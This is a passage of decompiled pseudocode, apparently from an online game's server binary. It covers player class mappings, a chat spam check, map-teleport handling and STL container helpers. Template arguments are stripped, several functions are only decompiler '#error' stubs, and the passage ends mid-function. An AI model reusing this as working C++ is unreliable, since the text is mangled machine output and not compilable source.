ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&ChaoPlayer, byte_635E1E); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D785C, "ChaosFighter"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7860, "ChaosCleverFighter"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7864, "ChaosWarrior"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7868, "ChaosGladiator"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D786C, "ChaosKnight"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7870, "ChaosCleric"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7874, "ChaosHighCleric"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7878, "ChaosPaladin"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D787C, "ChaosHolyKnight"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7880, "ChaosGuardian"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7884, "ChaosArcher"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7888, "ChaosHawkArcher"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D788C, "ChaosScout"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7890, "ChaosSharpShooter"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7894, "ChaosRanger"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D7898, "ChaosMage"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D789C, "ChaosWizMage"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78A0, "ChaosEnchanter"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78A4, "ChaosWarrock"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78A8, "ChaosWizard"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78AC, "ChaosJoker"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78B0, "ChaosChaser"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78B4, "ChaosCruel"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78B8, "ChaosCloser"); ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(&stru_130D78BC, "ChaosAssassin"); } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1176))(v2); v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 48))(v7); if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2708))(v2) == 3 ) result = *((_DWORD *)&ChaoPlayer.m_pMobDataIndex + v8); else result = *((_DWORD *)&normalPlayer.m_pMobDataIndex + v8); } else { result = 0; } return result; } // 130D783C: using guessed type int ITableBase_PKQuestLVGap_PKQuestLVGapTable___ms_pkTable; //----- (00536900) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SpamCheck(void *this) { int v1; // esi@1 unsigned int v2; // edi@1 char v3; // bl@1 unsigned __int16 v4; // bp@1 char result; // al@2 int v6; // ecx@3 int v7; // edx@3 int v8; // eax@3 unsigned int v9; // ecx@3 v1 = (int)this; v2 = clockwatch.cw_CurrTick; v3 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(&SpamerPenaltyData); v4 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetSecondRule(&SpamerPenaltyData); if ( *(_DWORD *)(v1 + 143788) <= v2 ) { v6 = 4 * *(_DWORD *)(v1 + 143784); *(_DWORD *)(v6 + *(_DWORD *)(v1 + 143780)) = v2; v7 = (*(_DWORD *)(v1 + 143784) + 1) % (unsigned __int8)v3; v8 = *(_DWORD *)(v1 + 143780); *(_DWORD *)(v1 + 143784) = v7; v9 = *(_DWORD *)(v8 + v6); if ( v9 && v9 <= *(_DWORD *)(v8 + 4 * v7) + (unsigned int)v4 ) { ShineObjectClass::ShinePlayer::sp_SpamSetBlock((void *)v1, v2); result = 1; } else { result = 0; } } else { ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(v1); result = 1; } return result; } //----- (00536990) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_SetCaptivate(void *this, char bValue) { void *v2; // esi@1 void *v3; // eax@3 int v4; // eax@4 void *v5; // edi@7 v2 = this; ShineObjectClass::ShineMobileObject::smo_SetCaptivate(this, bValue); if ( bValue ) { if ( !*((_DWORD *)v2 + 35921) ) { v3 = operator new(0x364u); if ( v3 ) MobTacticElement::MobActionArgument::MobActionArgument((MobTacticElement::MobActionArgument *)v3); else v4 = 0; *((_DWORD *)v2 + 35921) = v4; *(_DWORD *)(v4 + 864) = &MobTacticElement::MobActionArgument::Actor::targetting; *(_DWORD *)(*((_DWORD *)v2 + 35921) + 4) = v2; *(_DWORD *)(*((_DWORD *)v2 + 35921) + 680) = (*(int (__thiscall **)(char *, void *, int))(*((_DWORD *)v2 + 35922) + 16))( (char *)v2 + 143688, v2, *((_DWORD *)v2 + 35921) + 8); MobTacticElement::MobActionArgument::Actor::SetTargetPoint( (MobTacticElement::MobActionArgument::Actor *)(*((_DWORD *)v2 + 35921) + 684), (#593 **)v2 + 35944); } } else { v5 = (void *)*((_DWORD *)v2 + 35921); if ( v5 ) { MobTacticElement::MobActionArgument::_MobActionArgument(*((MobTacticElement::MobActionArgument **)v2 + 35921)); operator delete(v5); *((_DWORD *)v2 + 35921) = 0; } } } //----- (00536AA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // edx@1 int v6; // eax@3 int v7; // edi@6 int v8; // eax@9 signed int v9; // edi@9 signed int v10; // ebx@9 AbnormalStateContainer::AbstateListInObject *v11; // eax@9 AbnormalStateContainer::AbstateListInObject *v12; // eax@11 int v13; // eax@16 char *v14; // [sp-8h] [bp-2Ch]@8 __int16 v15; // [sp-4h] [bp-28h]@2 FunctionEntarance _; // [sp+Ch] [bp-18h]@1 SHINE_XY_TYPE From; // [sp+10h] [bp-14h]@9 int v18; // [sp+20h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v18 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v5 + 1152))(v4) != 6 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ : Invalid Mode", 0); v15 = 10649; LABEL_5: ShineObjectClass::ShinePlayer::sp_AdeliaMap_SendMoveTo(v4, v15); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ"); return; } v6 = *(_DWORD *)((char *)v4 + 98); if ( !v6 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ : Field Data NULL", 0); v15 = 10650; goto LABEL_5; } v7 = *(_DWORD *)(v6 + 16); if ( v7 && *(_WORD *)v7 == MapDataBox::mdb_2mapid(&mapdatabox, "Adl") ) { v8 = *(_DWORD *)((char *)v4 + 78); From.x = *(_DWORD *)v8; From.y = *(_DWORD *)(v8 + 4); v9 = *(_DWORD *)v8; v10 = *(_DWORD *)(v8 + 4); v11 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1320))(v4); if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(v11, STA_ADLUBAUP) ) { v9 = 15380; v10 = 12021; } v12 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1320))(v4); if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(v12, STA_ADLUBADOWN) ) { v9 = 28219; v10 = 20034; } if ( From.x == v9 && From.y == v10 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ : No Set Abstate", 0); ShineObjectClass::ShinePlayer::sp_AdeliaMap_SendMoveTo(v4, 10651); v18 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v13 = *(_DWORD *)v4; *((_DWORD *)v4 + 59) = 0; (*(void (__thiscall **)(void *))(v13 + 2644))(v4); ShineObjectClass::ShineObject::so_MoveTo(v4, v9, v10, 100); ShineObjectClass::ShinePlayer::sp_AdeliaMap_ReSetSendMyBriefInfo(v4); ShineObjectClass::ShineMobileObject::smo_OldObjectDelete(v4, (int)&From); MoveManager::mm_Halt((MoveManager *)((char *)v4 + 232)); ShineObjectClass::ShinePlayer::sp_AdeliaMap_SendMoveTo(v4, 10648); v14 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ : ADELIA_MAP_MOVETO_MAPNAME", 0); ShineObjectClass::ShinePlayer::sp_AdeliaMap_SendMoveTo(v4, 10650); v14 = "ShineObjectClass::ShinePlayer::sp_NC_MAP_ADELIA_MAP_MOVETO_REQ"; } --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } // 446BD0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (00536CD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_AdeliaMap_MoverDismount(void *this) { void *v1; // esi@1 AbnormalStateContainer::AbstateListInObject *v2; // eax@1 AbnormalStateContainer::AbstateListInObject *v3; // eax@3 char *v4; // eax@6 int v5; // ST08_4@6 int v6; // eax@6 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@6 int v8; // [sp+38h] [bp-4h]@6 v1 = this; v2 = (AbnormalStateContainer::AbstateListInObject *)(*(int (**)(void))(*(_DWORD *)this + 1320))(); if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(v2, STA_ADLUBAUP) ) { (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 1608))(v1, 573); ShineObjectClass::ShineObject::so_AbnormalState_BitReset(v1, 573); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset(v1, 573); } v3 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1320))(v1); if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(v3, STA_ADLUBADOWN) ) { (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 1608))(v1, 574); ShineObjectClass::ShineObject::so_AbnormalState_BitReset(v1, 574); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset(v1, 574); } (*(void (__thiscall **)(char *, _DWORD))(*((_DWORD *)v1 + 14470) + 24))((char *)v1 + 57880, 0); if ( *((_BYTE *)v1 + 143165) ) { **((_BYTE **)v1 + 892) = 1; *((_BYTE *)v1 + 143165) = 0; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8259; *((_WORD *)v4 + 1) = *((_WORD *)v1 + 2); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v5 = *(_DWORD *)((char *)v1 + 78); v8 = 0; v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v6, v5, 0, 0, (int)&alchat, 0, 65535); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 8, 66); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 3320))(v1, 1); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v1 + 776))(v1, 6, 38, 10688); v8 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (00536E40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SetProtactionFromGameInfo(void *this, int pData) { void *v2; // esi@1 ABSTATEINDEX v3; // ST04_4@3 AbnormalStateContainer::AbstateListInObject *v4; // eax@3 AbnormalStateContainer::AbstateListInObject *v5; // eax@5 AbnormalStateContainer::AbstateListInObject *v6; // eax@7 v2 = this; if ( pData ) { v3 = *(_BYTE *)(pData + 4); (*(void (**)(void))(*(_DWORD *)this + 3164))(); v4 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1320))( v2, 575); if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(v4, v3) ) { (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1608))(v2, 575); ShineObjectClass::ShineObject::so_AbnormalState_BitReset(v2, 575); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset(v2, 575); } v5 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1320))(v2); if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(v5, STA_OP_5UNDER) ) { (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1608))(v2, 576); ShineObjectClass::ShineObject::so_AbnormalState_BitReset(v2, 576); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset(v2, 576); } v6 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1320))(v2); if ( AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(v6, STA_OP_5OVER) ) { (*(void (__thiscall **)(_DWORD, signed int))(*(_DWORD *)v2 + 1608))(v2, 577); ShineObjectClass::ShineObject::so_AbnormalState_BitReset(v2, 577); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset(v2, 577); } (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 3176))(v2); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_SetProtactionFromGameInfo : pData Null", 0); } } //----- (00536F40) -------------------------------------------------------- int std::find_std::allocator>_std::allocator_std::allocator>>>::iterator_std::basic_string_std::allocator>>(...) { std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator v4; // ebx@1 std::basic_string,std::allocator > *v5; // esi@2 unsigned int v6; // ebp@2 const char *v7; // edi@4 unsigned int v8; // edx@6 int v9; // ecx@7 const char *v10; // esi@10 int v11; // eax@12 std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *v12; // eax@16 v4 = _First; if ( _First == _Last ) { v12 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _First; } else { v5 = _Val; v6 = _Val->_Mysize; do { if ( _Val->_Myres < 0x10 ) v7 = (const char *)&v5->_Bx; else v7 = *(const char **)&v5->_Bx._Buf[0]; v8 = *(_DWORD *)(*(_DWORD *)&v4 + 20); if ( !v8 ) goto LABEL_20; v9 = *(_DWORD *)(*(_DWORD *)&v4 + 20); if ( v8 >= v6 ) v9 = _Val->_Mysize; v10 = (const char *)(*(_DWORD *)(*(_DWORD *)&v4 + 24) < 0x10u ? *(_DWORD *)&v4 + 4 : *(_DWORD *)(*(_DWORD *)&v4 + 4)); v11 = strncmp(v10, v7, v9); v5 = _Val; if ( !v11 ) { LABEL_20: if ( v8 >= v6 && v8 == v6 ) break; } *(_DWORD *)&v4 += 28; } while ( v4 != _Last ); v12 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v12; } //----- (00536FE0) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl std::_Copy_backward_opt_std::allocator>___std::basic_string_std::allocator>__>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *v4; // esi@1 std::basic_string,std::allocator > *v5; // edi@2 std::basic_string,std::allocator > *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { --v4; --v5; std::basic_string_std::allocator>::assign(v5, v4, 0, 0xFFFFFFFFu); } while ( v4 != _First ); result = v5; } return result; } //----- (00537020) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00537090) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00537100) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ShineObjectClass::ListUp *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 ShineObjectClass::ListUp *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::iterator v15; // ST14_4@25 ShineObjectClass::ListUp *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 SHINE_XY_TYPE *v24; // ST20_4@32 int v25; // ebx@32 SHINE_XY_TYPE *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-2Ch]@31 int v28; // [sp+0h] [bp-28h]@1 int _Tmp; // [sp+Ch] [bp-1Ch]@1 int v30; // [sp+10h] [bp-18h]@1 void *_Newvec; // [sp+14h] [bp-14h]@25 int *v32; // [sp+18h] [bp-10h]@1 int v33; // [sp+24h] [bp-4h]@25 unsigned int _Wherea; // [sp+30h] [bp+8h]@31 int _Counta; // [sp+34h] [bp+Ch]@25 SHINE_XY_TYPE *_Valb; // [sp+38h] [bp+10h]@25 SHINE_XY_TYPE *_Vala; // [sp+38h] [bp+10h]@31 v4 = _Val->nLot; v5 = this; _Tmp = *(_DWORD *)&_Val->Itemid; v6 = this->_Myfirst; v32 = &v28; v30 = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen(v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = (SHINE_XY_TYPE *)v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v20, v19, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + v22), (std::allocator *)v5, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = (SHINE_XY_TYPE *)v5->_Mylast; v33 = 2; std::vector>::_Ufill( (std::vector > *)v5, v24, v23, (SHINE_XY_TYPE *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (ShineObjectClass::ListUp *)v25; std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(v25 - _Wherea), (SHINE_XY_TYPE *)&_Tmp); } else { v26 = (SHINE_XY_TYPE *)(*(_DWORD *)&v19 - v22); v5->_Mylast = (ShineObjectClass::ListUp *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)(*(_DWORD *)&v19 - v22), v19, *(SHINE_XY_TYPE **)&v19, (std::allocator *)v5, v27); std::copy_backward(*(SHINE_XY_TYPE **)&v20, v26, _Vala); std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + _Wherea), (SHINE_XY_TYPE *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::iterator)v5->_Myfirst; _Newvec = v14; v33 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, (std::vector >::iterator)_Where, (SHINE_XY_TYPE *)v14, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (SHINE_XY_TYPE *)&_Tmp, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)_Where, (std::vector >::iterator)v5->_Mylast, &_Valb[v8], (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (ShineObjectClass::ListUp *)((char *)v14 + _Counta); v5->_Mylast = (ShineObjectClass::ListUp *)((char *)v14 + 8 * v18); v5->_Myfirst = (ShineObjectClass::ListUp *)v14; } } } //----- (00537350) -------------------------------------------------------- void __cdecl std::fill_std::allocator>___std::basic_string_std::allocator>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Val) { std::basic_string,std::allocator > *i; // esi@1 for ( i = _First; i != _Last; ++i ) std::basic_string_std::allocator>::assign(i, _Val, 0, 0xFFFFFFFFu); } //----- (00537380) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *v5; // esi@1 std::basic_string,std::allocator > *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 std::basic_string,std::allocator > *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->_Myres = 15; v5->_Mysize = 0; v5->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(v5, v6, 0, 0xFFFFFFFFu); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (00537420) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 ShineObjectClass::ListUp *v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::vector >::iterator v8; // ST04_4@7 std::vector >::iterator v9; // ST00_4@7 ShineObjectClass::ListUp *v10; // eax@7 int v11; // [sp+0h] [bp-20h]@1 void *_Ptr; // [sp+Ch] [bp-14h]@7 int *v13; // [sp+10h] [bp-10h]@1 int v14; // [sp+1Ch] [bp-4h]@7 unsigned int _Counta; // [sp+28h] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x1FFFFFFF ) std::vector>::_Xlen(this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 8 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::vector >::iterator)v2->_Mylast; v9 = (std::vector >::iterator)v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v9, v8, (SHINE_XY_TYPE *)v6, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (ShineObjectClass::ListUp *)((char *)v7 + _Counta); v2->_Mylast = (ShineObjectClass::ListUp *)((char *)v7 + 8 * v4); v2->_Myfirst = (ShineObjectClass::ListUp *)v7; } } //----- (005374DA) -------------------------------------------------------- void __usercall _L190344(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (005374F0) -------------------------------------------------------- ShineObjectClass::ListUp *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { ShineObjectClass::ListUp *v2; // edx@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran(this); return &v2[_Pos]; } //----- (00537520) -------------------------------------------------------- #error "537520: undefined or illegal type '#593' (funcsize=89)" //----- (00537650) -------------------------------------------------------- #error "537650: undefined or illegal type '#593' (funcsize=89)" //----- (00537780) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, unsigned int _Count, std::basic_string,std::allocator > *_Val, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 std::basic_string,std::allocator > *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->_Myres = 15; v5->_Mysize = 0; v5->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(v5, _Val, 0, 0xFFFFFFFFu); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (00537820) -------------------------------------------------------- #error "537820: undefined or illegal type '#593' (funcsize=74)" //----- (00537910) -------------------------------------------------------- #error "537910: undefined or illegal type '#593' (funcsize=22)" //----- (00537960) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, ShineObjectClass::ListUp *_Val) { std::vector > *v2; // esi@1 ShineObjectClass::ListUp *v3; // edx@1 signed int v4; // ecx@2 ShineObjectClass::ListUp *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( (SHINE_XY_TYPE *)v2->_Mylast, 1u, (SHINE_XY_TYPE *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (00537A40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HPChangeRoutineEvent(void *this) { int v1; // esi@1 unsigned int v2; // edi@2 unsigned int v3; // 